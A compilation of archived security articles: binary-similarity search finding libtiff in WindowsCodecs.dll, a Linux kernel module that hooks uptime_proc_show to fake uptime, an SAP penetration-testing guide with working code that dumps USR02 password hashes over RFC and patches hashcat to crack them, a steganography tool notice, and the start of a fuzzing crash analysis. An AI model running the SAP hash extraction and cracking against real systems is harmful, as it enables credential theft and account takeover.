\[\!\] Loaded search index, starting disassembly.

\[\!\] Done disassembling, beginning search.

\(...\)

/media/dlls/Windows/SysWOW64/WindowsCodecs.dll

\[\!\] Executable id is cf1cc98bead49abf

\[\!\] Loaded search index, starting disassembly.

\[\!\] Done disassembling, beginning search.

\[\!\] \(3191/3788 - 23 branching nodes\) 0.851562: cf1cc98bead49abf.53135c10
matches 39dd1e8a79a9f2bc.1001d43d
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2015.32bits.O1/libtiff.dll
PackBitsEncode\( tiff\*, unsigned char\*, int, unsigned short\)

\[\!\] \(3192/3788 - 23 branching nodes\) 0.804688: cf1cc98bead49abf.53135c12
matches 4614edc967480a0d.1002329a
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.O2/libtiff.dll

\[\!\] \(3192/3788 - 23 branching nodes\) 0.804688: cf1cc98bead49abf.53135c12
matches af5e68a627daeb0.1002355a
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.Ox/libtiff.dll

\[\!\] \(3192/3788 - 23 branching nodes\) 0.804688: cf1cc98bead49abf.53135c12
matches a5f4285c1a0af9d9.10017048
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2017.32bits.O1/libtiff.dll
PackBitsEncode\( tiff\*, unsigned char\*, int, unsigned short\)

\[\!\] \(3277/3788 - 13 branching nodes\) 0.828125: cf1cc98bead49abf.5313b08e
matches a5f4285c1a0af9d9.10014477
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2017.32bits.O1/libtiff.dll  

This is pretty interesting. Let's load WindowsCodecs.dll and the libtiff.dll
with the best match into IDA, and examine the results:

<img src='img/GpSMe0n9FmNa6NFBIBKGimW_ch_Vcnxy5ey6PPHEcm-
rR3P_Yj8z_3qgarB4ZQ_l0lljT10Oz-o8QS9cvEg6tg37wjTsIdVMqfWQ_DAJh2xdZuLQ9ckDC_sVcUqmmTOeezBSQ-
BC.png' width='624' height='341' />

  

At this zoom level, the two functions do not necessarily look terribly
similar, but zooming in, it becomes apparent that they do share a lot of
similarities, both structural and in terms of instruction sequences:

  

<img
src='img/2gKeFv7SYIdj4AeOeYqADkpAW16yrP4KagG751ghjSA5phWdPPd70xxu6ZE2s9QCeyPpDyLb_kiR28xSL3KKQ55m9cXaXqeAjDKTwyT24FAi_PgSvGW98dJooVZql03MBLNpcoRG.png'
width='624' height='341' />

  

What really gives us confidence in the non-spuriousness of the result is
\(...drumroll...\) the name that IDA obtained for this function from the
Microsoft-provided PDB debug symbols: PackBitsEncode.

Closer examination of WindowsCodecs.dll reveals that it contains a fork of
libtiff version 3.9.5, which Microsoft changed significantly. We have not
investigated how Microsoft deals with backporting security and reliability
fixes from upstream. Since libtiff links against libjpeg, it should perhaps
not surprise us that the same DLL also contains a modified libjpeg fork.

##  Summary, Future Directions, Next Steps

What has been learnt on this little adventure? Aside from many details about
building similarity-preserving hashes and search indices for them, I learnt a
few interesting lessons:

##  Lessons Learnt

###  The search index vs linear sweep - modern CPUs are fast at XOR

It turns out that modern CPUs are extremely fast at simply performing a linear
sweep through large areas of memory. A small C program with a tight inner loop
which loads a hash, XORs it against a value, counts the resulting bits, and
remembers the index of the "closest" value will search through hundreds of
millions of hashes on a single core.

The algorithmic break-even for the locality-sensitive-hashing index is not
reached until way north of a few hundred million hashes; it is unclear how
many people will even have that many hashes to compare against.

It is possible that the clever search index was over-engineered, and a simple
linear sweep would do just as well \(and be more storage-efficient\).

###  Competing with simple string search

For the stated problem of finding statically linked libraries, it turns out
that in the vast majority of cases \(personally guess 90%+\), searching for
particularly expressive strings which are part of the library will be the most
effective method: Compilers generally do not change strings, and if the string
is sufficiently unusual, one will obtain a classifier with almost zero
irrelevant results and a reasonably high true positive rate.

The heavy machinery that we explored here is hence most useful in situations
where individual snippets of code have been cut & pasted between open-source
libraries. Of the real-world cases we examined, only mpengine.dll fits the
bill; it is an open question how prevalent cutting-and-pasting-without-strings
is.

An interesting research question with regards to existing published results is
also: What added value does the method provide over simple string search?

###  The problem is still hard

Even with all the engineering performed here, we can only reliably find about
40% of the cases we care about - and likely even fewer if a compiler is
involved to which we do not have access. There is a lot of room to improve the
method - I optimistically thinks it should be possible to reach a true
positive rate of 90%+ with a small number of irrelevant results.

It sounds like an interesting question for the ML and RE community: Can
embeddings from disassemblies into Hamming-space be learnt that achieve much
better results than the simple linear model here? At what computational cost?

##  Future directions / next steps

There are a number of directions into which this research could \(and should\)
be expanded:

  1. Re-writing the machine learning code in TensorFlow or Julia \(or any other setup that allows efficient execution on the GPU\). The current code takes days to train with 56-core server machines mainly because my desire to write the loss function directly in C++. While this is elegant in the framework of a single-language codebase, using a language that allows easy parallelization of the training process onto a GPU would make future experimentation much easier.
  2. Swapping L-BFGS for the usual SGD variants used in modern machine learning. As the quantity of training data increases, L-BFGS scales poorly; there are good reasons why almost nobody uses it any more for training on massive quantities of data.
  3. Triplet and quadruplet training. Various recent papers that deal with learning embeddings from data \[Triplet\]. From an intuitive perspective this makes sense, and the training code should be adapted to allow such training.
  4. Better features. The set of features that are currently used are very poor - mnemonic-tuples, graphlets, and large constants that are not divisible by 4 are all that we consider at the moment; and operands, structure offsets, strings etc. are all ignored. There is clearly a lot of valuable information to be had here.
  5. Experiments with Graph-NNs. A lot of work on 'learning on graphs' has been performed and published in the ML community. Exciting results in that area allow learning of \(very simple\) graph algorithms \(such as shortest path\) from examples, it is plausible that these models can beat the simple linear model explored here. CCS ‘17 uses such a model, and even if it is hard for me to judge what part of their performance is due to string matching and what part is the rest of the model, the approach sounds both promising and valid.
  6. Using adjacency information. Functions that were taken from another library tend to be adjacent in binaries; a group of functions that come from the same binary should provide much stronger evidence that a third-party library is used than an isolated hit.
  7. Replacing the ANN tree data-structure with a flat array. Given the speed of modern CPUs at linearly sweeping through memory, it is likely that the vast majority of users \(with less than 100m hashes\) does not require the complex data structure for ANN search \(and the resulting storage overhead. For the majority of use-cases, a simple linear sweep should be superior to the use of bit-permutations as LSH family.

##  The end \(for now\).

If you have questions, recommendations, or \(ideally\) pull requests: Please
do not hesitate to contact the authors on the relevant github repository here.

Posted by  Ben at 10:37 AM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[10:37 AM]: 2018-12-18T10:37:00-08:00

# Uptime | Anfractuosity | Still waiting on the daybreak, its shadows in my mind
**Created:**| _9/18/2013 9:36:04 AM_  
---|---  
**Updated:**| _9/18/2013 9:36:04 AM_  
**Author:**| __  
**Tags:**| _Linux kernel_  
  

# **_Uptime****_**

We here fake the uptime, returned by the ‘uptime’ command on 64bit x86 Linux
machines**.**

Kernel symbols are easily accessible from /usr/src/linux/System.map

| `cat` `/usr/src/linux/System``.map | ``grep` `uptime``ffffffff811b1be0 t uptime_proc_open``ffffffff811b1c00 t uptime_proc_show``ffffffff81a1ad20 r uptime_proc_fops``ffffffff81eeffc8 t proc_uptime_init``ffffffff81f4d0c8 t __initcall_proc_uptime_init6`  
---|---  
You can see there are many uptime, related functions**.** The one which  
we will look at is uptime\_proc\_show, which is at the address
**0xffffffff811b1c00****.**

The code which exports this function is in
**/usr/src/linux/fs/proc/uptime**.** c****.**

| `#include <linux/fs**.** h>``#include <linux/init**.** h>``#include
<linux/proc_fs**.** h>``#include <linux/sched**.** h>``#include
<linux/seq_file**.** h>``#include <linux/time**.** h>``#include
<linux/kernel_stat**.** h>``#include <asm/cputime**.** h>``static` `int`
`uptime_proc_show(``struct` `seq_file *m, ``void` `*v)``{``struct` `timespec
uptime;``struct` `timespec idle;``u64 idletime;``u64 nsec;``u32 rem;``int`
`i;``idletime = 0;``for_each_possible_cpu(i)``idletime += (__force u64)
kcpustat_cpu(i).cpustat[CPUTIME_IDLE];``do_posix_clock_monotonic_gettime(&uptime);``monotonic_to_bootbased(&uptime);``nsec
= cputime64_to_jiffies64(idletime) * TICK_NSEC;``idle**.** tv_sec =
div_u64_rem(nsec, NSEC_PER_SEC, &rem);``idle**.** tv_nsec =
rem;``seq_printf(m, ``"%lu**.** %02lu %lu**.** %02lu\n"``,``(unsigned
``long``) uptime**.** tv_sec,``(uptime**.** tv_nsec / (NSEC_PER_SEC /
100)),``(unsigned ``long``) idle**.** tv_sec,``(idle**.** tv_nsec /
(NSEC_PER_SEC / 100)));``return` `0;``}``static` `int`
`uptime_proc_open(``struct` `inode *inode, ``struct` `file *file)``{``return`
`single_open(file, uptime_proc_show, NULL);``}``static` `const` `struct`
`file_operations uptime_proc_fops = {``.open = uptime_proc_open,``.read =
seq_read,``.llseek = seq_lseek,``.release = single_release,``};``static` `int`
`__init proc_uptime_init(``void``)``{``proc_create(``"uptime"``, 0, NULL,
&uptime_proc_fops);``return` `0;``}``module_init(proc_uptime_init);`  
---|---  
We can see that the uptime is accessible from **/proc/uptime**

| `18738072**.** 28 74817307**.** 16`  
---|---  
So if we hijack this uptime\_proc\_show function, we can then pass our fake
uptime  
values**.**

To do this we assemble, the following assembly, to jump to a function we
create in  
our module, in order to change the uptime values**.**

| `mov rax, {64bit address}``jmp rax``nop``nop`  
---|---  
That assembly was added to the following **patchme** function**.**  
Which in turn calls our patchee function, which handles the generation of fake
uptime values**.**

| `void patchme(void *addr) {``long val = &patchee;``int i = 0;``unsigned char
ops[] =``{ 0x48, 0xC7, 0xC0, 0x00, 0x1C, 0x1B, 0x81, 0xFF, 0xE0, 0x90,
0x90,0x90, 0x90 };``for (i = 0; i < 4; i++) {``ops[i + 3] = (unsigned
char)((char *)(&val))[i];``printk("Addr: %x\n", ops[i + 3]);``}``unsigned char
*c = (unsigned char *)addr;``for (i = 0; i < 13; i++) {``c[i] =
ops[i];``}``}``static int patchee(struct seq_file *m, void *v) {``printk("In
our module faking that uptime..**.** \n");``seq_printf(m, "18738072**.** 28
74817307.16\n");``return 0;``}`  
---|---  
When uptime is called it will always return:

| `uptime``18:21:42 up 216 days, 21:01, 2 users, load average: 0**.** 21,
0.42, 0**.** 26`  
---|---  
**ToDo:**

****

  * **Make uptime change with respect to the ‘real’ uptime, e.g. 1000x the real uptime**
  * **Allow passing arguments to the module**

****

Get the code **.**

###### _Leave Comment****_

###  Click here to cancel reply****

Name \*

Email \*

\+ one = 2

Comment \*

****

# SWF Disassemler IDA Pro

**Created:**| _6/16/2010 8:32:00 PM_  
---|---  
**Updated:**| _6/16/2010 8:32:33 PM_  
**Author:**| __  
**Tags:**| _Flash iDA plugin_  
  
<img src='img/Temp2_7205' />

# Adapting hashcat for SAP ‘half hashes’

**Created:**| _3/7/2018 8:20:42 AM_  
---|---  
**Updated:**| _3/7/2018 8:20:42 AM_  
**Author:**| _wishi_  
**Tags:**| _Erp_  
  

  

In this article we will show how to adapt hashcat to work with SAP’s “half
hashes”.

## Context

One crucial aspect during SAP penetration testing is abusing users’ privileges
after we got access to their passwords.

We often encounter a scenario when the server is an SAP NetWeaver ABAP and the
interface available is via RFC protocol \(be it either over tcp/33NN, or over
webrfc SOAP gateway\). In this scenario, we cannot login via SAP GUI \(we got
a system or communication user\) but want to obtain an access of some existing
SAP GUI users or just assess the robustness of the users’ passwords. So, it is
necessary to get a hand on clear-text passwords.

We already know that SAP users’ passwords are hashed and stored for ABAP
application server in the `USR02`table. The column `BCODE` stores the SAP
CODVN B hash of the password, the column `PASSCODE` the SAP CODVN F/G
version., and if the server is not too old we can find the column
`PWDSALTEDHASH` with the SAP CODVN H hashed password.

The only way of gaining access to the database table via RFC is to invoke the
\(remote-enabled\) function module `RFC_READ_TABLE`. This function has
initially not been made to extract RAW fields and will return a truncated
value with half the size of the original field.

For dictionary brute forcing hashes, it is a blocking issue. We need a full
hash to check it against tools like hashcat/JohnTheRipper.

To solve this issue, it is required to find another RFC function module that
is remote-enabled. In systems where Data Services are installed, variants
exist that do not have this limitation/bug on raw data and can be directly
handled with usual cracking tools:

  * -`/BODS/RFC_READ_TABLE`
  * -`/SAPDS/RFC_READ_TABLE`

There are still a number of systems without those function modules available.
In this case, we get around the issue by adapting hashcat’s hash verification
for BCODE and PASSCODE hashes. NB: PWDSALTEDHASH does not have this problem as
it is stored as CHAR, but it is much slower to brute-force.

## Methodology of adapting SAP mangled hashes to hashcat

Extract the hashes via RFC / SOAP RFC by calling function module
`RFC_READ_TABLE`. And pad with NULL bytes the second part of the hash that is
missing. So, it may look like this in our test system:

### SAP hashes extraction

#### Extracting SAP hashes via pure RFC connection

pyRFC method using the NWRFCSDK

123456789101112131415 |  from pyrfc import Connection rfc\_args = \{'DELIMITER': '|', 'FIELDS': \[\{'FIELDNAME': 'MANDT'\}, \{'FIELDNAME': 'BNAME'\}, \{'FIELDNAME': 'UFLAG'\}, \{'FIELDNAME': 'BCODE'\}, \{'FIELDNAME': 'PASSCODE'\}, \{'FIELDNAME': 'PWDSALTEDHASH'\}\], 'QUERY\_TABLE': 'USR02'\} conn = Connection\(ashost=host, sysnr=instance, client=client, user=user, passwd=password\) result = conn.call\("RFC\_READ\_TABLE", \*\*rfc\_args\) print result\['DATA'\]  
---|---  
This will go through the Gateway service listening on tcp/33NN and will be
dispatched for execution to one of the ABAP worker process.

#### Extracting SAP hashes via SOAP RFC

If the RFC port is not available, we can achieve the same result through the
SOAP RFC interface on the ICM HTTP service \(tcp/80NN\).

1234567891011121314151617181920212223242526272829303132333435363738 |  POST /sap/bc/soap/rfc?sap-client=001 HTTP/1.1 Host: abapserver:8000 SOAP-Action: RFC\_READ\_TABLE Content-Type: text/xml;charset=UTF-8 Authorization: Basic U0FQKjowNjA3MTk5Mgo= Connection: close <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <RFC\_READ\_TABLE xmlns="urn:sap-com:document:sap:rfc:functions"> <DATA><item/></DATA> <DELIMITER>|</DELIMITER> <QUERY\_TABLE>USR02</QUERY\_TABLE> <FIELDS> <ITEM> <FIELDNAME>MANDT</FIELDNAME> </ITEM> <ITEM> <FIELDNAME>BNAME</FIELDNAME> </ITEM> <ITEM> <FIELDNAME>UFLAG</FIELDNAME> </ITEM> <ITEM> <FIELDNAME>BCODE</FIELDNAME> </ITEM> <ITEM> <FIELDNAME>PASSCODE</FIELDNAME> </ITEM> <ITEM> <FIELDNAME>PWDSALTEDHASH</FIELDNAME> </ITEM> </FIELDS> </RFC\_READ\_TABLE> </SOAP-ENV:Body> </SOAP-ENV:Envelope>  
---|---  
### Padding SAP half hashes

RFC dump of some users with non NULL BCODE hash is as follows:

MANDT | BNAME | UFLAG | BCODE  
---|---|---|---  
001 | BATIPPS | 0 | 45E6C3EF  
001 | BLUMOEHR | 0 | 7D3C4D5B  
001 | BOEHMA | 0 | D23047EF  
Then we need to fix the hashes so that hashcat will ingest them with the
default SAP CODVN parser: \(we adopted this strategy in order to minimize the
changes in the code\)

BCODE half-hash | BCODE fixed  
---|---  
45E6C3EF | 45E6C3EF00000000  
7D3C4D5B | 7D3C4D5B00000000  
D23047EF | D23047EF00000000  
and build a file with the following usernames/hashes:

1234 | BATIPPS$45E6C3EF00000000BLUMOEHR$7D3C4D5B00000000BOEHMA$D23047EF00000000  
---|---  
### Hashcat patch for SAP’s half hashes

We explain how we patch hashcat’s existing hashes \(7700, 7800\) into new ones
\(7701, 7801\). We will focus on the attack mode 0 \(i.e. wordlist and
wordlist+rules\) as it is mainly what we use during security assessments. The
modifications are similar for the brute-force \(`-a3`\) and combinator modes
\(`-a1`\).

#### SAP CODEVN B \(7701\)

The adaptation for CODEVN B \(BCODE\) hash is trivial and only requires
clearing the `b` value inside the OpenCL kernel of the 7700 version so that we
check only the first 32 bits of the clear-text hashed value against our
computation.

12345678 |  a ^= c; - b ^= d; + b = 0; c = 0; d = 0; COMPARE\_$X\_SIMD \(a, b, c, d\); // X being M and S  
---|---  
#### SAP CODEVN F/G \(7801\)

In the PASSCODE case, we need to be a bit more careful as our limit where bits
are all zeroed is in the middle of a 32-bit value. So we need to clear half of
the digest2 32 bit value and the last part of the digest \(`digest[3]` and
`digest[4]`\).

If we show a _hexified_ representation of the digest when hash is full and
mangled we have something like this:

  * -
PASSCODE **full** hash extracted from `USR02` table: `BC150094 0E40B280
A3AA0519 33D4939C 9DAFCD27`

  * -
PASSCODE **half** hash extracted from `USR02` table: `BC150094 0E40B280
A3AA0000 00000000 00000000`

So the adaptation of the 7800 OpenCL kernel to 7801 becomes:

123 |  - COMPARE\_$X\_SIMD \(digest\[3\], digest\[4\], digest\[2\], digest\[1\]\); // X being M and S + COMPARE\_$X\_SIMD \(0, 0, digest\[2\] & 0xffff0000, digest\[1\]\);  
---|---  
As of collisions, we don’t think that it is a practical issue when considering
that the probability for collision candidates to be in a valid password
character set space is likely to be very low.

We added those as new hashes in our modified version of hashcat, namely:

  * -`7701 SAP CODVN B (BCODE) via RFC_READ_TABLE`
  * -`7801 SAP CODVN F/G (PASSCODE) via RFC_READ_TABLE`

### Benchmark

With this method, there should not be any differences with the benchmark
results of the 7700 and 7800 hashes.

## Result

123456789101112131415161718192021222324252627282930313233343536373839404142 |  $ hashcat -m 7801 -a0 001\_passcode.txt 10\_million\_password\_list\_top\_1000000.txt hashcat \(v3.10-431-g87ae9cf+\) starting... OpenCL Platform \#1: Intel\(R\) Corporation ======================================== - Device \#1: Intel\(R\) Core\(TM\) i5-6200U CPU @ 2.30GHz, 3981/15927 MB allocatable, 4MCU Hashes: 91 digests; 91 unique digests, 91 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable Optimizers: \* Zero-Byte \* Precompute-Init \* Not-Iterated Watchdog: Hardware Monitoring Interface not found on your system Watchdog: Temperature abort trigger disabled Watchdog: Temperature retain trigger disabled Generated dictionary stats for 10\_million\_password\_list\_top\_1000000.txt: 8529137 bytes, 1000001 words, 1000001 keyspace TEST$BF433D884D827A4AC6AA00000000000000000000:test KARASU$9A34C96A7D52DE5E324B00000000000000000000:wert FORTMANN$F9BFB716D7242C37B67100000000000000000000:motorrad WEISSAN$0A9665334DE2269D061C00000000000000000000:init \[s\]tatus \[p\]ause \[r\]esume \[b\]ypass \[c\]heckpoint \[q\]uit => q Session.Name...: hashcat Status.........: Aborted Input.Mode.....: File \(10\_million\_password\_list\_top\_1000000.txt\) Hash.Target....: File \(001\_passcode.txt\) Hash.Type......: SAP CODVN F/G \(PASSCODE\) mangled from RFC\_READ\_TABLE Time.Started...: Fri Feb 2 16:45:51 2018 \(6 secs\) Time.Estimated.: Fri Feb 2 16:46:22 2018 \(24 secs\) Speed.Dev.\#1...: 2917.5 kH/s \(1.32ms\) Recovered......: 4/91 \(4.40%\) Digests, 4/91 \(4.40%\) Salts Progress.......: 17563648/91000091 \(19.30%\) Rejected.......: 0/17563648 \(0.00%\) Restore.Point..: 192512/1000001 \(19.25%\)  
---|---  
Here is a short video showing how this work-flow can be automated from the
remote RFC hashes extraction to the dumping of the brute-forced passwords
against a dictionary of common passwords:

<img src='img/0.jpg' width='480' height='360' alt='hashcat demo' />

## Download

You can download our patched version based on the hashcat release
`v4.1.0-3-g63defd1+`. The sources of our modified version is available in our
github

  

# New steganographic tool: Virtual Steganographic Laboratory

**Created:**| _6/16/2009 6:50:26 PM_  
---|---  
**Updated:**| _6/16/2009 6:50:46 PM_  
**Author:**| __  
**Tags:**| _steg crypto_  
  

# New steganographic tool: Virtual Steganographic Laboratory

Posted on 15 June 2009.

<img src='img/Temp2_5589.gif' width='125' height='16' alt='Bookmark and Share'
/>

<img src='img/Temp2_5590.gif' />Virtual Steganographic Laboratory \(VSL\) is a
simple, easy to use software for steganography, steganalysis and watermarking.
It gives scientists and students a tool for conducting wide range of
experiments involving different types of message embedding, diverse attacks
\(employing image processing algorithms\) and steganalysis with the use of
popular methods.  
  
Due to its use of generics \(and few other features\) it requires at least
Java 1.5 \(5.0\).  
  
Primary interface of the VSL is a graphical block diagramming tool and a
customizable set of block modules. VSL uses dynamic invocation, so any new
module can be created, added and used along without recompilation of the
application.  
  
Modules present in the initial release:

  * vsl-module-distortion-cropping
  * vsl-module-distortion-gamma
  * vsl-module-distortion-gaussian-blur
  * vsl-module-distortion-gaussian-noise
  * vsl-module-distortion-jpeg
  * vsl-module-distortion-median
  * vsl-module-distortion-resize
  * vsl-module-distortion-salt-pepper-noise
  * vsl-module-distortion-sharpen
  * vsl-module-steganalysis-bsm
  * vsl-module-steganalysis-lsb
  * vsl-module-steganography-klt
  * vsl-module-steganography-lsb.

You can get the tool here.

  
  
<img src='img/Temp2_5591.gif' />

  * Apple releases Java update
  * Cyber security model to address 21st century challenges
  * D-Link network camera for remote monitoring of security video
  * New fraud-fighting product from Kount
  * Enterprises underestimate risks from terminated employees

# Root Cause Analysis – Memory Corruption Vulnerabilities | Corelan Team
**Created:**| _2/26/2013 3:05:41 PM_  
---|---  
**Updated:**| _2/26/2013 3:34:51 PM_  
**Author:**| __  
**Tags:**| _analysis Logs crashes_  
  

## Root Cause Analysis – Memory Corruption Vulnerabilities

Published February 26, 2013 | <img src='img/Temp2_7044.png' width='18' height='18' />By Corelan Team \(Jason Kratzer\)
### Introduction

For the past year or so I’ve spent a significant amount of time fuzzing
various applications with the hopes of identifying exploitable crashes.  Early
on in my research I quickly realized that building fuzzers and generating
large quantities of crashes, even for heavily targeted applications, was
easy.  However, determining the exploitability of these crashes, more often
than not, seemed difficult if not at times down right impossible.  When
dealing with issues such as stack buffer overflows, the exploitability of
crashes are fairly self evident.  If we can determine that we have some level
of control over the instruction pointer or structured exception handler, we
can quickly determine that the crash is in fact exploitable.  However, when
this is not the case, analysis of crash data becomes significantly more
difficult.  Determining if a crash allows us to corrupt portions of memory or
manipulate structures require a great amount of time and understanding of the
application.

With this I quickly became frustrated with my lack of understanding when it
came to analyzing crash data.  I realized that my time might be better spent
fuzzing less heavily targeted, more bug rich \(or so I hoped\) applications
with the goal of gaining a better insight into crash analysis process.  The
result of which, enabled me to identify a number of exploitable
vulnerabilities across various categories of memory corruption issues.  This
article will serve as the first of several, with the intention of documenting
the process that I had used from the early stages of evaluating crashes,
identifying the root cause of the exception, and determining the
exploitability of the issue.

I hope that this work may help some of you avoid the numerous headaches I had
experienced early on in my learning process.



### The Crash

This article will focus on a specific crash that I had identified in KMPlayer
version 3.3.0.33 .  I had reported this bug to the KMP development team in
September of 2012 and a fix was released \(KMPlayer version 3.4\) on November
1st, 2012.

I had originally identified this vulnerability by fuzzing the MP4 and QT file
formats using the Peach framework.  In order to reproduce this issue, I have
provided a bare bones fuzzing template \(Peach PIT\) which specifically
targets the vulnerable portion of the MP4/QT file format.  You can download a
copy of the Peach PIT here .

This article does not explain how to use Peach and this pit file. I’ve
previously written 2 posts regarding the basics of the Peach fuzzing framework
which you can find here and here .  If you have questions about fuzzing and/or
using Peach, please post your question in our fuzzing forum :
https://www.corelan.be/index.php/forum/fuzzing/



### Analyzing the Crash Data

Since I had used Peach as the primary fuzzer during these test cases, let’s
begin by examining the contents of the directory generated during the
exception.  
\*\*\*Please note that these test cases were generated using Peach version
2.3.9.

[code]

    $ cd kmplayer.xml_2012Oct05034325/Faults/UNKNOWN_ReadAV_0x00020e6f_0x205b6f0a/28726/ 
    $ ls -al 
    total 19316 
    drwxr-xr-x 2 jkratzer jkratzer 4096 Oct 27 14:58 . 
    drwxr-xr-x 6 jkratzer jkratzer 4096 Oct  9 03:24 .. 
    -rwxr--r-- 1 jkratzer jkratzer 27 Oct  9 03:24 data_1_output_WriteFile_fileName.txt 
    -rwxr--r-- 1 jkratzer jkratzer 5385 Oct  9 03:24 data_1_output_WriteFile.txt 
    -rwxr--r-- 1 jkratzer jkratzer 14 Oct  9 03:24 data_2_call_Named_140.txt 
    -rwxr--r-- 1 jkratzer jkratzer 9677 Oct  9 03:24 LocalAgent_StackTrace.txt
    
[/code]

You can download a complete copy of the original Peach crash data here .

The directory structure of the Peach logging mechanism contains the following
items:

  * The parent directory, kmplayer.xml\_2012Oct05034325 specifies the name of the Peach pit used to generate the exception \(kmplayer.xml\) as well as the date and time \(2012Oct05034325\) the fuzz process was initiated.
  * The sub-directory "Faults", contains folders with names compromised of a classification string generated by \!exploitable \(bang-exploitable\), followed by a hash. Bang-exploitable uses a series of metrics for determining the exploitability of test cases.  It further classifies processes by appending a major and minor hash to define the uniqueness of this crash.  In this case, the crash has been identified as an UNKNOWN read access violation, meaning that exploitability could not be determined, and a major and minor hash of 0x00020e6f and 0x205b6f0a respectively.  Further information on bang-exploitable and the process by which it determines exploitability can be found here \(https://msecdbg.codeplex.com/\) .
  * For each unique crash, another subfolder is created.  In this case, the folder is labeled "28726", which identifies the number of the test case during which the fault was generated.

Inside this "crash" directory, we can see that Peach has generated 4 files :

  * The file data\_1\_output\_WriteFile\_fileName.txt contains the name of the original seed file from which our mutated, or fuzzed file, was created.
  * The file data\_1\_output\_WriteFile.txt contains the contents used to trigger the exception.
  * The file data\_2\_call\_Named\_140.txt contains the name of the method used in our StateModel for the ‘Action type="call"’.
  * LocalAgent\_StackTrace.txt contains the crash dump generated at the time of the exception.

\*\*Please note that the naming of these files may differ slightly based on
the structure of your PIT.

I usually begin by opening up the LocalAgent\_StackTrace.txt.  Below, I’ve
included the relevant portions of this crash dump which we will discuss as we
move along.  You can find a full copy of the original
LocalAgent\_StackTrace.txt here .

[code]

    (b44.d38): Access violation - code c0000005 (first chance) 
    r 
    eax=0000004b ebx=00000019 ecx=0000353b edx=00009fb1 esi=aaadfc75 edi=aaadfc75 
    eip=005ef527 esp=0bb0f510 ebp=0bb0f55c iopl=0         nv up ei pl nz na pe cy 
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010207 
    *** ERROR: Module load completed but symbols could not be loaded for image00400000 
    image00400000+0x1ef527: 
    005ef527 ff748604        push    dword ptr [esi+eax*4+4] ds:0023:aaadfda5=????????
[/code]

  
Beginning on line 71, we can see that the logging mechanism issued the WinDbg
‘r’ command to output the instruction and state of the registers at the time
of our access violation.  Looking at the instruction we can confirm that this
is in fact a read access violation as the instruction \(push dword ptr
\[esi+eax\*4+4\]\) is attempting to push a DWORD sized \(4 byte\) value
located at the address \[esi+eax\*4+4\], which equates to 0xaaadfda5, onto the
stack.  Furthermore, we can see that this address either does not exist or has
not yet been initialized by the command output "ds:0023:aaadfda5=????????".

[code]

    kb 
    ChildEBP RetAddr  Args to Child              
    WARNING: Stack unwind information not available. Following frames may be wrong. 
    0bb0f55c 005f1b7c 0bb0f7a4 005f23b8 0bb0f778 image00400000+0x1ef527 
    0bb0f778 005f48f4 000014f1 00000000 ffffffff image00400000+0x1f1b7c 
    0bb0f7e0 00771f99 028cc430 075b8fc4 00000000 image00400000+0x1f48f4 
    0bb0fef4 0077fef3 00000000 0294ae28 075b8fc4 image00400000+0x371f99 
    0bb0ff70 0042f3f3 0bb0ff84 0042f3fd 0bb0ffa0 image00400000+0x37fef3 
    0bb0ffa0 0040532e 0bb0ffdc 00404e74 0bb0ffb4 image00400000+0x2f3f3 
    0bb0ffb4 7c80b729 04598060 00000000 00000000 image00400000+0x532e 
    0bb0ffec 00000000 00405304 04598060 00000000 kernel32!BaseThreadStart+0x37
[/code]

Examining the call stack \(displayed above\) doesn’t provide us with any
immediate value as no symbols for the application are available.  As such,
functions will not be labeled by named labels but rather, by offsets from the
base image address.  In this case, the base image address is 0×00400000.

Scrolling down further in the crash trace, we can see that the Peach logging
mechanism calls bang-exploitable.

[code]

    .load C:\svn-peach\tools\bangexploitable\x86\msec.dll 
    !exploitable -m 
    IDENTITY:HostMachine\HostUser 
    PROCESSOR:X86 
    CLASS:USER 
    QUALIFIER:USER_PROCESS 
    EVENT:DEBUG_EVENT_EXCEPTION 
    EXCEPTION_FAULTING_ADDRESS:0xffffffffaaadfda5 
    EXCEPTION_CODE:0xC0000005 
    EXCEPTION_LEVEL:FIRST_CHANCE 
    EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION 
    EXCEPTION_SUBTYPE:READ 
    FAULTING_INSTRUCTION:005ef527 push dword ptr [esi+eax*4+4] 
    BASIC_BLOCK_INSTRUCTION_COUNT:8 
    BASIC_BLOCK_INSTRUCTION:005ef527 push dword ptr [esi+eax*4+4] 
    BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax 
    BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:esi 
    BASIC_BLOCK_INSTRUCTION:005ef52b mov eax,dword ptr [ebp-4] 
    BASIC_BLOCK_INSTRUCTION:005ef52e mov eax,dword ptr [eax+68h] 
    BASIC_BLOCK_INSTRUCTION:005ef531 pop esi 
    BASIC_BLOCK_INSTRUCTION:005ef532 mov dword ptr [eax+edx*8+4],esi 
    BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:esi 
    BASIC_BLOCK_INSTRUCTION:005ef536 inc ecx 
    BASIC_BLOCK_INSTRUCTION:005ef537 cmp ecx,dword ptr [ebp-0ch] 
    BASIC_BLOCK_INSTRUCTION:005ef53a jb image00400000+0x1ef506 (005ef506)
[/code]

From this output, we can see our faulting instruction as well as the remaining
instructions in the function block which triggered the exception.  It’s
important to note here, that bang-exploitable makes the assumption that all
data used during the faulting instruction contains tainted data \(data which
we can manipulate\).  Bang-exploitable then makes further assumptions as to
which of the following instructions in this call block may also contain
tainted data.



### Identifying The Cause of Exception

Now that we’ve reviewed the crash dump, let’s take a look at our mutated file
\(the one that caused the crash\) as well as the original seed file.  You can
download a copy of the original seed file here and a copy of our mutated file
here .  Let’s begin by opening these files using the 010 Binary Editor.  If
you don’t have the 010 Binary Editor, you can download a free trial here .

In order to identify which parts of this file have been mutated, we’ll need to
"diff" it against the original seed file.  As we discussed earlier, the name
of the seed file can be found in the
